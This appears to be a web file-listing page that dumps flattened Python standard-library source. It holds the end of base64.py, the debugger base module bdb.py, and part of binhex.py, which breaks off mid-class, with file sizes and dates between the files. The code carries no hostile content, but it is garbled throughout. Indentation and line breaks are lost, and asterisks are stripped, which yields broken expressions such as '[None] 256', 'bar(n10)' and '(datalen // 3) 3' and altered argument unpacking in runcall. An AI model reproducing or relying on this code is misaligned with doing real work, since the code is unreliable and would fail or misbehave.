# The following code is originally taken (with permission) from Mercurial _b85alphabet = (b"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" b"abcdefghijklmnopqrstuvwxyz!#$%&()+-;<=>?@^_`{\|}~") _b85chars = None _b85chars2 = None _b85dec = None def b85encode(b, pad=False): """Encode bytes-like object b in base85 format and return a bytes object. If pad is true, the input is padded with b'\\0' so its length is a multiple of 4 bytes before encoding. """ global _b85chars, _b85chars2 # Delay the initialization of tables to not waste memory # if the function is never called if _b85chars is None: _b85chars = [bytes((i,)) for i in _b85alphabet] _b85chars2 = [(a + b) for a in _b85chars for b in _b85chars] return _85encode(b, _b85chars, _b85chars2, pad) def b85decode(b): """Decode the base85-encoded bytes-like object or ASCII string b The result is returned as a bytes object. """ global _b85dec # Delay the initialization of tables to not waste memory # if the function is never called if _b85dec is None: _b85dec = [None] 256 for i, c in enumerate(_b85alphabet): _b85dec[c] = i b = _bytes_from_decode_data(b) padding = (-len(b)) % 5 b = b + b'~' * padding out = [] packI = struct.Struct('!I').pack for i in range(0, len(b), 5): chunk = b[i:i + 5] acc = 0 try: for c in chunk: acc = acc * 85 + _b85dec[c] except TypeError: for j, c in enumerate(chunk): if _b85dec[c] is None: raise ValueError('bad base85 character at position %d' % (i + j)) from None raise try: out.append(packI(acc)) except struct.error: raise ValueError('base85 overflow in hunk starting at byte %d' % i) from None result = b''.join(out) if padding: result = result[:-padding] return result # Legacy interface. This code could be cleaned up since I don't believe # binascii has any line length limitations. It just doesn't seem worth it # though. The files should be opened in binary mode. MAXLINESIZE = 76 # Excluding the CRLF MAXBINSIZE = (MAXLINESIZE//4)*3 def encode(input, output): """Encode a file; input and output are binary files.""" while True: s = input.read(MAXBINSIZE) if not s: break while len(s) < MAXBINSIZE: ns = input.read(MAXBINSIZE-len(s)) if not ns: break s += ns line = binascii.b2a_base64(s) output.write(line) def decode(input, output): """Decode a file; input and output are binary files.""" while True: line = input.readline() if not line: break s = binascii.a2b_base64(line) output.write(s) def _input_type_check(s): try: m = memoryview(s) except TypeError as err: msg = "expected bytes-like object, not %s" % s.__class__.__name__ raise TypeError(msg) from err if m.format not in ('c', 'b', 'B'): msg = ("expected single byte elements, not %r from %s" % (m.format, s.__class__.__name__)) raise TypeError(msg) if m.ndim != 1: msg = ("expected 1-D data, not %d-D data from %s" % (m.ndim, s.__class__.__name__)) raise TypeError(msg) def encodebytes(s): """Encode a bytestring into a bytes object containing multiple lines of base-64 data.""" _input_type_check(s) pieces = [] for i in range(0, len(s), MAXBINSIZE): chunk = s[i : i + MAXBINSIZE] pieces.append(binascii.b2a_base64(chunk)) return b"".join(pieces) def encodestring(s): """Legacy alias of encodebytes().""" import warnings warnings.warn("encodestring() is a deprecated alias since 3.1, " "use encodebytes()", DeprecationWarning, 2) return encodebytes(s) def decodebytes(s): """Decode a bytestring of base-64 data into a bytes object.""" _input_type_check(s) return binascii.a2b_base64(s) def decodestring(s): """Legacy alias of decodebytes().""" import warnings warnings.warn("decodestring() is a deprecated alias since Python 3.1, " "use decodebytes()", DeprecationWarning, 2) return decodebytes(s) # Usable as a script... def main(): """Small main program""" import sys, getopt try: opts, args = getopt.getopt(sys.argv[1:], 'deut') except getopt.error as msg: sys.stdout = sys.stderr print(msg) print("""usage: %s [-d\|-e\|-u\|-t] [file\|-] -d, -u: decode -e: encode (default) -t: encode and decode string 'Aladdin:open sesame'"""%sys.argv[0]) sys.exit(2) func = encode for o, a in opts: if o == '-e': func = encode if o == '-d': func = decode if o == '-u': func = decode if o == '-t': test(); return if args and args[0] != '-': with open(args[0], 'rb') as f: func(f, sys.stdout.buffer) else: func(sys.stdin.buffer, sys.stdout.buffer) def test(): s0 = b"Aladdin:open sesame" print(repr(s0)) s1 = encodebytes(s0) print(repr(s1)) s2 = decodebytes(s1) print(repr(s2)) assert s0 == s2 if __name__ == '__main__': main()	19.92 KB	2024-04-17 17:55
📄 bdb.py """Debugger basics""" import fnmatch import sys import os from inspect import CO_GENERATOR, CO_COROUTINE, CO_ASYNC_GENERATOR __all__ = ["BdbQuit", "Bdb", "Breakpoint"] GENERATOR_AND_COROUTINE_FLAGS = CO_GENERATOR \| CO_COROUTINE \| CO_ASYNC_GENERATOR class BdbQuit(Exception): """Exception to give up completely.""" class Bdb: """Generic Python debugger base class. This class takes care of details of the trace facility; a derived class should implement user interaction. The standard debugger class (pdb.Pdb) is an example. The optional skip argument must be an iterable of glob-style module name patterns. The debugger will not step into frames that originate in a module that matches one of these patterns. Whether a frame is considered to originate in a certain module is determined by the __name__ in the frame globals. """ def __init__(self, skip=None): self.skip = set(skip) if skip else None self.breaks = {} self.fncache = {} self.frame_returning = None def canonic(self, filename): """Return canonical form of filename. For real filenames, the canonical form is a case-normalized (on case insenstive filesystems) absolute path. 'Filenames' with angle brackets, such as "<stdin>", generated in interactive mode, are returned unchanged. """ if filename == "<" + filename[1:-1] + ">": return filename canonic = self.fncache.get(filename) if not canonic: canonic = os.path.abspath(filename) canonic = os.path.normcase(canonic) self.fncache[filename] = canonic return canonic def reset(self): """Set values of attributes as ready to start debugging.""" import linecache linecache.checkcache() self.botframe = None self._set_stopinfo(None, None) def trace_dispatch(self, frame, event, arg): """Dispatch a trace function for debugged frames based on the event. This function is installed as the trace function for debugged frames. Its return value is the new trace function, which is usually itself. The default implementation decides how to dispatch a frame, depending on the type of event (passed in as a string) that is about to be executed. The event can be one of the following: line: A new line of code is going to be executed. call: A function is about to be called or another code block is entered. return: A function or other code block is about to return. exception: An exception has occurred. c_call: A C function is about to be called. c_return: A C function has returned. c_exception: A C function has raised an exception. For the Python events, specialized functions (see the dispatch_() methods) are called. For the C events, no action is taken. The arg parameter depends on the previous event. """ if self.quitting: return # None if event == 'line': return self.dispatch_line(frame) if event == 'call': return self.dispatch_call(frame, arg) if event == 'return': return self.dispatch_return(frame, arg) if event == 'exception': return self.dispatch_exception(frame, arg) if event == 'c_call': return self.trace_dispatch if event == 'c_exception': return self.trace_dispatch if event == 'c_return': return self.trace_dispatch print('bdb.Bdb.dispatch: unknown debugging event:', repr(event)) return self.trace_dispatch def dispatch_line(self, frame): """Invoke user function and return trace function for line event. If the debugger stops on the current line, invoke self.user_line(). Raise BdbQuit if self.quitting is set. Return self.trace_dispatch to continue tracing in this scope. """ if self.stop_here(frame) or self.break_here(frame): self.user_line(frame) if self.quitting: raise BdbQuit return self.trace_dispatch def dispatch_call(self, frame, arg): """Invoke user function and return trace function for call event. If the debugger stops on this function call, invoke self.user_call(). Raise BbdQuit if self.quitting is set. Return self.trace_dispatch to continue tracing in this scope. """ # XXX 'arg' is no longer used if self.botframe is None: # First call of dispatch since reset() self.botframe = frame.f_back # (CT) Note that this may also be None! return self.trace_dispatch if not (self.stop_here(frame) or self.break_anywhere(frame)): # No need to trace this function return # None # Ignore call events in generator except when stepping. if self.stopframe and frame.f_code.co_flags & GENERATOR_AND_COROUTINE_FLAGS: return self.trace_dispatch self.user_call(frame, arg) if self.quitting: raise BdbQuit return self.trace_dispatch def dispatch_return(self, frame, arg): """Invoke user function and return trace function for return event. If the debugger stops on this function return, invoke self.user_return(). Raise BdbQuit if self.quitting is set. Return self.trace_dispatch to continue tracing in this scope. """ if self.stop_here(frame) or frame == self.returnframe: # Ignore return events in generator except when stepping. if self.stopframe and frame.f_code.co_flags & GENERATOR_AND_COROUTINE_FLAGS: return self.trace_dispatch try: self.frame_returning = frame self.user_return(frame, arg) finally: self.frame_returning = None if self.quitting: raise BdbQuit # The user issued a 'next' or 'until' command. if self.stopframe is frame and self.stoplineno != -1: self._set_stopinfo(None, None) return self.trace_dispatch def dispatch_exception(self, frame, arg): """Invoke user function and return trace function for exception event. If the debugger stops on this exception, invoke self.user_exception(). Raise BdbQuit if self.quitting is set. Return self.trace_dispatch to continue tracing in this scope. """ if self.stop_here(frame): # When stepping with next/until/return in a generator frame, skip # the internal StopIteration exception (with no traceback) # triggered by a subiterator run with the 'yield from' statement. if not (frame.f_code.co_flags & GENERATOR_AND_COROUTINE_FLAGS and arg[0] is StopIteration and arg[2] is None): self.user_exception(frame, arg) if self.quitting: raise BdbQuit # Stop at the StopIteration or GeneratorExit exception when the user # has set stopframe in a generator by issuing a return command, or a # next/until command at the last statement in the generator before the # exception. elif (self.stopframe and frame is not self.stopframe and self.stopframe.f_code.co_flags & GENERATOR_AND_COROUTINE_FLAGS and arg[0] in (StopIteration, GeneratorExit)): self.user_exception(frame, arg) if self.quitting: raise BdbQuit return self.trace_dispatch # Normally derived classes don't override the following # methods, but they may if they want to redefine the # definition of stopping and breakpoints. def is_skipped_module(self, module_name): "Return True if module_name matches any skip pattern." for pattern in self.skip: if fnmatch.fnmatch(module_name, pattern): return True return False def stop_here(self, frame): "Return True if frame is below the starting frame in the stack." # (CT) stopframe may now also be None, see dispatch_call. # (CT) the former test for None is therefore removed from here. if self.skip and \ self.is_skipped_module(frame.f_globals.get('__name__')): return False if frame is self.stopframe: if self.stoplineno == -1: return False return frame.f_lineno >= self.stoplineno if not self.stopframe: return True return False def break_here(self, frame): """Return True if there is an effective breakpoint for this line. Check for line or function breakpoint and if in effect. Delete temporary breakpoints if effective() says to. """ filename = self.canonic(frame.f_code.co_filename) if filename not in self.breaks: return False lineno = frame.f_lineno if lineno not in self.breaks[filename]: # The line itself has no breakpoint, but maybe the line is the # first line of a function with breakpoint set by function name. lineno = frame.f_code.co_firstlineno if lineno not in self.breaks[filename]: return False # flag says ok to delete temp. bp (bp, flag) = effective(filename, lineno, frame) if bp: self.currentbp = bp.number if (flag and bp.temporary): self.do_clear(str(bp.number)) return True else: return False def do_clear(self, arg): """Remove temporary breakpoint. Must implement in derived classes or get NotImplementedError. """ raise NotImplementedError("subclass of bdb must implement do_clear()") def break_anywhere(self, frame): """Return True if there is any breakpoint for frame's filename. """ return self.canonic(frame.f_code.co_filename) in self.breaks # Derived classes should override the user_ methods # to gain control. def user_call(self, frame, argument_list): """Called if we might stop in a function.""" pass def user_line(self, frame): """Called when we stop or break at a line.""" pass def user_return(self, frame, return_value): """Called when a return trap is set here.""" pass def user_exception(self, frame, exc_info): """Called when we stop on an exception.""" pass def _set_stopinfo(self, stopframe, returnframe, stoplineno=0): """Set the attributes for stopping. If stoplineno is greater than or equal to 0, then stop at line greater than or equal to the stopline. If stoplineno is -1, then don't stop at all. """ self.stopframe = stopframe self.returnframe = returnframe self.quitting = False # stoplineno >= 0 means: stop at line >= the stoplineno # stoplineno -1 means: don't stop at all self.stoplineno = stoplineno # Derived classes and clients can call the following methods # to affect the stepping state. def set_until(self, frame, lineno=None): """Stop when the line with the lineno greater than the current one is reached or when returning from current frame.""" # the name "until" is borrowed from gdb if lineno is None: lineno = frame.f_lineno + 1 self._set_stopinfo(frame, frame, lineno) def set_step(self): """Stop after one line of code.""" # Issue #13183: pdb skips frames after hitting a breakpoint and running # step commands. # Restore the trace function in the caller (that may not have been set # for performance reasons) when returning from the current frame. if self.frame_returning: caller_frame = self.frame_returning.f_back if caller_frame and not caller_frame.f_trace: caller_frame.f_trace = self.trace_dispatch self._set_stopinfo(None, None) def set_next(self, frame): """Stop on the next line in or below the given frame.""" self._set_stopinfo(frame, None) def set_return(self, frame): """Stop when returning from the given frame.""" if frame.f_code.co_flags & GENERATOR_AND_COROUTINE_FLAGS: self._set_stopinfo(frame, None, -1) else: self._set_stopinfo(frame.f_back, frame) def set_trace(self, frame=None): """Start debugging from frame. If frame is not specified, debugging starts from caller's frame. """ if frame is None: frame = sys._getframe().f_back self.reset() while frame: frame.f_trace = self.trace_dispatch self.botframe = frame frame = frame.f_back self.set_step() sys.settrace(self.trace_dispatch) def set_continue(self): """Stop only at breakpoints or when finished. If there are no breakpoints, set the system trace function to None. """ # Don't stop except at breakpoints or when finished self._set_stopinfo(self.botframe, None, -1) if not self.breaks: # no breakpoints; run without debugger overhead sys.settrace(None) frame = sys._getframe().f_back while frame and frame is not self.botframe: del frame.f_trace frame = frame.f_back def set_quit(self): """Set quitting attribute to True. Raises BdbQuit exception in the next call to a dispatch_() method. """ self.stopframe = self.botframe self.returnframe = None self.quitting = True sys.settrace(None) # Derived classes and clients can call the following methods # to manipulate breakpoints. These methods return an # error message if something went wrong, None if all is well. # Set_break prints out the breakpoint line and file:lineno. # Call self.get_break() to see the breakpoints or better # for bp in Breakpoint.bpbynumber: if bp: bp.bpprint(). def set_break(self, filename, lineno, temporary=False, cond=None, funcname=None): """Set a new breakpoint for filename:lineno. If lineno doesn't exist for the filename, return an error message. The filename should be in canonical form. """ filename = self.canonic(filename) import linecache # Import as late as possible line = linecache.getline(filename, lineno) if not line: return 'Line %s:%d does not exist' % (filename, lineno) list = self.breaks.setdefault(filename, []) if lineno not in list: list.append(lineno) bp = Breakpoint(filename, lineno, temporary, cond, funcname) return None def _prune_breaks(self, filename, lineno): """Prune breakpoints for filname:lineno. A list of breakpoints is maintained in the Bdb instance and in the Breakpoint class. If a breakpoint in the Bdb instance no longer exists in the Breakpoint class, then it's removed from the Bdb instance. """ if (filename, lineno) not in Breakpoint.bplist: self.breaks[filename].remove(lineno) if not self.breaks[filename]: del self.breaks[filename] def clear_break(self, filename, lineno): """Delete breakpoints for filename:lineno. If no breakpoints were set, return an error message. """ filename = self.canonic(filename) if filename not in self.breaks: return 'There are no breakpoints in %s' % filename if lineno not in self.breaks[filename]: return 'There is no breakpoint at %s:%d' % (filename, lineno) # If there's only one bp in the list for that file,line # pair, then remove the breaks entry for bp in Breakpoint.bplist[filename, lineno][:]: bp.deleteMe() self._prune_breaks(filename, lineno) return None def clear_bpbynumber(self, arg): """Delete a breakpoint by its index in Breakpoint.bpbynumber. If arg is invalid, return an error message. """ try: bp = self.get_bpbynumber(arg) except ValueError as err: return str(err) bp.deleteMe() self._prune_breaks(bp.file, bp.line) return None def clear_all_file_breaks(self, filename): """Delete all breakpoints in filename. If none were set, return an error message. """ filename = self.canonic(filename) if filename not in self.breaks: return 'There are no breakpoints in %s' % filename for line in self.breaks[filename]: blist = Breakpoint.bplist[filename, line] for bp in blist: bp.deleteMe() del self.breaks[filename] return None def clear_all_breaks(self): """Delete all existing breakpoints. If none were set, return an error message. """ if not self.breaks: return 'There are no breakpoints' for bp in Breakpoint.bpbynumber: if bp: bp.deleteMe() self.breaks = {} return None def get_bpbynumber(self, arg): """Return a breakpoint by its index in Breakpoint.bybpnumber. For invalid arg values or if the breakpoint doesn't exist, raise a ValueError. """ if not arg: raise ValueError('Breakpoint number expected') try: number = int(arg) except ValueError: raise ValueError('Non-numeric breakpoint number %s' % arg) from None try: bp = Breakpoint.bpbynumber[number] except IndexError: raise ValueError('Breakpoint number %d out of range' % number) from None if bp is None: raise ValueError('Breakpoint %d already deleted' % number) return bp def get_break(self, filename, lineno): """Return True if there is a breakpoint for filename:lineno.""" filename = self.canonic(filename) return filename in self.breaks and \ lineno in self.breaks[filename] def get_breaks(self, filename, lineno): """Return all breakpoints for filename:lineno. If no breakpoints are set, return an empty list. """ filename = self.canonic(filename) return filename in self.breaks and \ lineno in self.breaks[filename] and \ Breakpoint.bplist[filename, lineno] or [] def get_file_breaks(self, filename): """Return all lines with breakpoints for filename. If no breakpoints are set, return an empty list. """ filename = self.canonic(filename) if filename in self.breaks: return self.breaks[filename] else: return [] def get_all_breaks(self): """Return all breakpoints that are set.""" return self.breaks # Derived classes and clients can call the following method # to get a data structure representing a stack trace. def get_stack(self, f, t): """Return a list of (frame, lineno) in a stack trace and a size. List starts with original calling frame, if there is one. Size may be number of frames above or below f. """ stack = [] if t and t.tb_frame is f: t = t.tb_next while f is not None: stack.append((f, f.f_lineno)) if f is self.botframe: break f = f.f_back stack.reverse() i = max(0, len(stack) - 1) while t is not None: stack.append((t.tb_frame, t.tb_lineno)) t = t.tb_next if f is None: i = max(0, len(stack) - 1) return stack, i def format_stack_entry(self, frame_lineno, lprefix=': '): """Return a string with information about a stack entry. The stack entry frame_lineno is a (frame, lineno) tuple. The return string contains the canonical filename, the function name or '<lambda>', the input arguments, the return value, and the line of code (if it exists). """ import linecache, reprlib frame, lineno = frame_lineno filename = self.canonic(frame.f_code.co_filename) s = '%s(%r)' % (filename, lineno) if frame.f_code.co_name: s += frame.f_code.co_name else: s += "<lambda>" s += '()' if '__return__' in frame.f_locals: rv = frame.f_locals['__return__'] s += '->' s += reprlib.repr(rv) line = linecache.getline(filename, lineno, frame.f_globals) if line: s += lprefix + line.strip() return s # The following methods can be called by clients to use # a debugger to debug a statement or an expression. # Both can be given as a string, or a code object. def run(self, cmd, globals=None, locals=None): """Debug a statement executed via the exec() function. globals defaults to __main__.dict; locals defaults to globals. """ if globals is None: import __main__ globals = __main__.__dict__ if locals is None: locals = globals self.reset() if isinstance(cmd, str): cmd = compile(cmd, "<string>", "exec") sys.settrace(self.trace_dispatch) try: exec(cmd, globals, locals) except BdbQuit: pass finally: self.quitting = True sys.settrace(None) def runeval(self, expr, globals=None, locals=None): """Debug an expression executed via the eval() function. globals defaults to __main__.dict; locals defaults to globals. """ if globals is None: import __main__ globals = __main__.__dict__ if locals is None: locals = globals self.reset() sys.settrace(self.trace_dispatch) try: return eval(expr, globals, locals) except BdbQuit: pass finally: self.quitting = True sys.settrace(None) def runctx(self, cmd, globals, locals): """For backwards-compatibility. Defers to run().""" # B/W compatibility self.run(cmd, globals, locals) # This method is more useful to debug a single function call. def runcall(args, *kwds): """Debug a single function call. Return the result of the function call. """ if len(args) >= 2: self, func, args = args elif not args: raise TypeError("descriptor 'runcall' of 'Bdb' object " "needs an argument") elif 'func' in kwds: func = kwds.pop('func') self, args = args else: raise TypeError('runcall expected at least 1 positional argument, ' 'got %d' % (len(args)-1)) self.reset() sys.settrace(self.trace_dispatch) res = None try: res = func(args, *kwds) except BdbQuit: pass finally: self.quitting = True sys.settrace(None) return res def set_trace(): """Start debugging with a Bdb instance from the caller's frame.""" Bdb().set_trace() class Breakpoint: """Breakpoint class. Implements temporary breakpoints, ignore counts, disabling and (re)-enabling, and conditionals. Breakpoints are indexed by number through bpbynumber and by the (file, line) tuple using bplist. The former points to a single instance of class Breakpoint. The latter points to a list of such instances since there may be more than one breakpoint per line. When creating a breakpoint, its associated filename should be in canonical form. If funcname is defined, a breakpoint hit will be counted when the first line of that function is executed. A conditional breakpoint always counts a hit. """ # XXX Keeping state in the class is a mistake -- this means # you cannot have more than one active Bdb instance. next = 1 # Next bp to be assigned bplist = {} # indexed by (file, lineno) tuple bpbynumber = [None] # Each entry is None or an instance of Bpt # index 0 is unused, except for marking an # effective break .... see effective() def __init__(self, file, line, temporary=False, cond=None, funcname=None): self.funcname = funcname # Needed if funcname is not None. self.func_first_executable_line = None self.file = file # This better be in canonical form! self.line = line self.temporary = temporary self.cond = cond self.enabled = True self.ignore = 0 self.hits = 0 self.number = Breakpoint.next Breakpoint.next += 1 # Build the two lists self.bpbynumber.append(self) if (file, line) in self.bplist: self.bplist[file, line].append(self) else: self.bplist[file, line] = [self] def deleteMe(self): """Delete the breakpoint from the list associated to a file:line. If it is the last breakpoint in that position, it also deletes the entry for the file:line. """ index = (self.file, self.line) self.bpbynumber[self.number] = None # No longer in list self.bplist[index].remove(self) if not self.bplist[index]: # No more bp for this f:l combo del self.bplist[index] def enable(self): """Mark the breakpoint as enabled.""" self.enabled = True def disable(self): """Mark the breakpoint as disabled.""" self.enabled = False def bpprint(self, out=None): """Print the output of bpformat(). The optional out argument directs where the output is sent and defaults to standard output. """ if out is None: out = sys.stdout print(self.bpformat(), file=out) def bpformat(self): """Return a string with information about the breakpoint. The information includes the breakpoint number, temporary status, file:line position, break condition, number of times to ignore, and number of times hit. """ if self.temporary: disp = 'del ' else: disp = 'keep ' if self.enabled: disp = disp + 'yes ' else: disp = disp + 'no ' ret = '%-4dbreakpoint %s at %s:%d' % (self.number, disp, self.file, self.line) if self.cond: ret += '\n\tstop only if %s' % (self.cond,) if self.ignore: ret += '\n\tignore next %d hits' % (self.ignore,) if self.hits: if self.hits > 1: ss = 's' else: ss = '' ret += '\n\tbreakpoint already hit %d time%s' % (self.hits, ss) return ret def __str__(self): "Return a condensed description of the breakpoint." return 'breakpoint %s at %s:%s' % (self.number, self.file, self.line) # -----------end of Breakpoint class---------- def checkfuncname(b, frame): """Return True if break should happen here. Whether a break should happen depends on the way that b (the breakpoint) was set. If it was set via line number, check if b.line is the same as the one in the frame. If it was set via function name, check if this is the right function and if it is on the first executable line. """ if not b.funcname: # Breakpoint was set via line number. if b.line != frame.f_lineno: # Breakpoint was set at a line with a def statement and the function # defined is called: don't break. return False return True # Breakpoint set via function name. if frame.f_code.co_name != b.funcname: # It's not a function call, but rather execution of def statement. return False # We are in the right frame. if not b.func_first_executable_line: # The function is entered for the 1st time. b.func_first_executable_line = frame.f_lineno if b.func_first_executable_line != frame.f_lineno: # But we are not at the first line number: don't break. return False return True # Determines if there is an effective (active) breakpoint at this # line of code. Returns breakpoint number or 0 if none def effective(file, line, frame): """Determine which breakpoint for this file:line is to be acted upon. Called only if we know there is a breakpoint at this location. Return the breakpoint that was triggered and a boolean that indicates if it is ok to delete a temporary breakpoint. Return (None, None) if there is no matching breakpoint. """ possibles = Breakpoint.bplist[file, line] for b in possibles: if not b.enabled: continue if not checkfuncname(b, frame): continue # Count every hit when bp is enabled b.hits += 1 if not b.cond: # If unconditional, and ignoring go on to next, else break if b.ignore > 0: b.ignore -= 1 continue else: # breakpoint and marker that it's ok to delete if temporary return (b, True) else: # Conditional bp. # Ignore count applies only to those bpt hits where the # condition evaluates to true. try: val = eval(b.cond, frame.f_globals, frame.f_locals) if val: if b.ignore > 0: b.ignore -= 1 # continue else: return (b, True) # else: # continue except: # if eval fails, most conservative thing is to stop on # breakpoint regardless of ignore count. Don't delete # temporary, as another hint to user. return (b, False) return (None, None) # -------------------- testing -------------------- class Tdb(Bdb): def user_call(self, frame, args): name = frame.f_code.co_name if not name: name = '???' print('+++ call', name, args) def user_line(self, frame): import linecache name = frame.f_code.co_name if not name: name = '???' fn = self.canonic(frame.f_code.co_filename) line = linecache.getline(fn, frame.f_lineno, frame.f_globals) print('+++', fn, frame.f_lineno, name, ':', line.strip()) def user_return(self, frame, retval): print('+++ return', retval) def user_exception(self, frame, exc_stuff): print('+++ exception', exc_stuff) self.set_continue() def foo(n): print('foo(', n, ')') x = bar(n10) print('bar returned', x) def bar(a): print('bar(', a, ')') return a/2 def test(): t = Tdb() t.run('import bdb; bdb.foo(10)')	30.99 KB	2024-04-17 17:55
📄 binhex.py """Macintosh binhex compression/decompression. easy interface: binhex(inputfilename, outputfilename) hexbin(inputfilename, outputfilename) """ # # Jack Jansen, CWI, August 1995. # # The module is supposed to be as compatible as possible. Especially the # easy interface should work "as expected" on any platform. # XXXX Note: currently, textfiles appear in mac-form on all platforms. # We seem to lack a simple character-translate in python. # (we should probably use ISO-Latin-1 on all but the mac platform). # XXXX The simple routines are too simple: they expect to hold the complete # files in-core. Should be fixed. # XXXX It would be nice to handle AppleDouble format on unix # (for servers serving macs). # XXXX I don't understand what happens when you get 0x90 times the same byte on # input. The resulting code (xx 90 90) would appear to be interpreted as an # escaped value of 0x90. All coders I've seen appear to ignore this nicety... # import io import os import struct import binascii __all__ = ["binhex","hexbin","Error"] class Error(Exception): pass # States (what have we written) _DID_HEADER = 0 _DID_DATA = 1 # Various constants REASONABLY_LARGE = 32768 # Minimal amount we pass the rle-coder LINELEN = 64 RUNCHAR = b"\x90" # # This code is no longer byte-order dependent class FInfo: def __init__(self): self.Type = '????' self.Creator = '????' self.Flags = 0 def getfileinfo(name): finfo = FInfo() with io.open(name, 'rb') as fp: # Quick check for textfile data = fp.read(512) if 0 not in data: finfo.Type = 'TEXT' fp.seek(0, 2) dsize = fp.tell() dir, file = os.path.split(name) file = file.replace(':', '-', 1) return file, finfo, dsize, 0 class openrsrc: def __init__(self, args): pass def read(self, args): return b'' def write(self, args): pass def close(self): pass class _Hqxcoderengine: """Write data to the coder in 3-byte chunks""" def __init__(self, ofp): self.ofp = ofp self.data = b'' self.hqxdata = b'' self.linelen = LINELEN - 1 def write(self, data): self.data = self.data + data datalen = len(self.data) todo = (datalen // 3) 3 data = self.data[:todo] self.data = self.data[todo:] if not data: return self.hqxdata = self.hqxdata + binascii.b2a_hqx(data) self._flush(0) def _flush(self, force): first = 0 while first <= len(self.hqxdata) - self.linelen: last = first + self.linelen self.ofp.write(self.hqxdata[first:last] + b'\n') self.linelen = LINELEN first = last self.hqxdata = self.hqxdata[first:] if force: self.ofp.write(self.hqxdata + b':\n') def close(self): if self.data: self.hqxdata = self.hqxdata + binascii.b2a_hqx(self.data) self._flush(1) self.ofp.close() del self.ofp class _Rlecoderengine: """Write data to the RLE-coder in suitably large chunks""" def __init__(self, ofp): self.ofp = ofp self.data = b'' def write(self, data): self.data = self.data + data if len(self.data) < REASONABLY_LARGE: return rledata = binascii.rlecode_hqx(self.data) self.ofp.write(rledata) self.data = b'' def close(self): if self.data: rledata = binascii.rlecode_hqx(self.data) self.ofp.write(rledata) self.ofp.close() del self.ofp class BinHex: def __init__(self, name_finfo_dlen_rlen, ofp): name, finfo, dlen, rlen = name_finfo_dlen_rlen close_on_error = False if isinstance(ofp, str): ofname = ofp ofp = io.open(ofname, 'wb') close_on_error = True try: ofp.write(b'(This file must be converted with BinHex 4.0)\r\r:') hqxer = _Hqxcoderengine(ofp) self.ofp = _Rlecoderengine(hqxer) self.crc = 0 if finfo is None: finfo = FInfo() self.dlen = dlen self.rlen = rlen self._writeinfo(name, finfo) self.state = _DID_HEADER except: if close_on_error: ofp.close() raise def _writeinfo(self, name, finfo): nl = len(name) if nl > 63: raise Error('Filename too long') d = bytes([nl]) + name.encode("latin-1") + b'\0' tp, cr = finfo.Type, finfo.Creator if isinstance(tp, str): tp = tp.encode("latin-1") if isinstance(cr, str): cr = cr.encode("latin-1") d2 = tp + cr # Force all structs to be packed with big-endian d3 = struct.pack('>h', finfo.Flags) d4 = struct.pack('>ii', self.dlen, self.rlen) info = d + d2 + d3 + d4 self._write(info) self._writecrc() def _write(self, data): self.crc = binascii.crc_hqx(data, self.crc) self.ofp.write(data) def _writecrc(self): # XXXX Should this be here?? # self.crc = binascii.crc_hqx('\0\0', self.crc) if self.crc < 0: fmt = '>h' else: fmt = '>H' self.ofp.write(struct.pack(fmt, self.crc)) self.crc = 0 def write(self, data): if self.state != _DID_HEADER: raise Error('Writing data at the wrong time') self.dlen = self.dlen - len(data) self._write(data) def close_data(self): if self.dlen != 0: raise Error('Incorrect data size, diff=%r' % (self.rlen,)) self._writecrc() self.state = _DID_DATA def write_rsrc(self, data): if self.state < _DID_DATA: self.close_data() if self.state != _DID_DATA: raise Error('Writing resource data at the wrong time') self.rlen = self.rlen - len(data) self._write(data) def close(self): if self.state is None: return try: if self.state < _DID_DATA: self.close_data() if self.state != _DID_DATA: raise Error('Close at the wrong time') if self.rlen != 0: raise Error("Incorrect resource-datasize, diff=%r" % (self.rlen,)) self._writecrc() finally: self.state = None ofp = self.ofp del self.ofp ofp.close() def binhex(inp, out): """binhex(infilename, outfilename): create binhex-encoded copy of a file""" finfo = getfileinfo(inp) ofp = BinHex(finfo, out) with io.open(inp, 'rb') as ifp: # XXXX Do textfile translation on non-mac systems while True: d = ifp.read(128000) if not d: break ofp.write(d) ofp.close_data() ifp = openrsrc(inp, 'rb') while True: d = ifp.read(128000) if not d: break ofp.write_rsrc(d) ofp.close() ifp.close() class _Hqxdecoderengine: """Read data via the decoder in 4-byte chunks""" def __init__(self, ifp): self.ifp = ifp self.eof = 0 def read(self, totalwtd): """Read at least wtd bytes (or until EOF)""" decdata = b'' wtd = totalwtd # # The loop here is convoluted, since we don't really now how # much to decode: there may be newlines in the incoming data. while wtd > 0: if self.eof: return decdata wtd = ((wtd + 2) // 3) * 4 data = self.ifp.read(wtd) # # Next problem: there may not be a complete number of # bytes in what we pass to a2b. Solve by yet another # loop. # while True: try: decdatacur, self.eof = binascii.a2b_hqx(data) break except binascii.Incomplete: pass newdata = self.ifp.read(1) if not newdata: raise Error('Premature EOF on binhex file') data = data + newdata decdata = decdata + decdatacur wtd = totalwtd - len(decdata) if not decdata and not self.eof: raise Error('Premature EOF on binhex file') return decdata def close(self): self.ifp.close() class _Rledecoderengine: """Read data via the RLE-coder""" def __init__(self, ifp): self.ifp = ifp self.pre_buffer = b'' self.post_buffer = b'' self.eof = 0 def read(self, wtd): if wtd > len(self.post_buffer): self._fill(wtd - len(self.post_buffer)) rv = self.post_buffer[:wtd] self.post_buffer = self.post_buffer[wtd:] return rv def _fill(self, wtd): self.pre_buffer = self.pre_buffer + self.ifp.read(wtd + 4) if self.ifp.eof: self.post_buffer = self.post_buffer + \ binascii.rledecode_hqx(self.pre_buffer) self.pre_buffer = b'' return # # Obfuscated code ahead. We have to take care that we don't # end up with an orphaned RUNCHAR later on. So, we keep a couple # of bytes in the buffer, depending on what the end of # the buffer looks like: # '\220\0\220' - Keep 3 bytes: repeated \220 (escaped as \220\0) # '?\220' - Keep 2 bytes: repeated something-else # '\220\0' - Escaped \220: Keep 2 bytes. # '?\220?' - Complete repeat sequence: decode all # otherwise: keep 1 byte. # mark = len(self.pre_buffer) if self.pre_buffer[-3:] == RUNCHAR + b'\0' + RUNCHAR: mark = mark - 3 elif self.pre_buffer[-1:] == RUNCHAR: mark = mark - 2 elif self.pre_buffer[-2:] == RUNCHAR + b'\0': mark = mark - 2 elif self.pre_buffer[-2:-1] == RUNCHAR: pass # Decode all else: mark = mark - 1 self.post_buffer = self.post_buffer + \ binascii.rledecode_hqx(self.pre_buffer[:mark]) self.pre_buffer = self.pre_buffer[mark:] def close(self): self.ifp.close() class HexBin: def __init__(self, ifp): if isinstance(ifp, str): ifp = io.open(ifp, 'rb') # # Find initial colon. # while True: ch = ifp.read(1) if not ch: raise Error("No binhex data found") # Cater for \r\n terminated lines 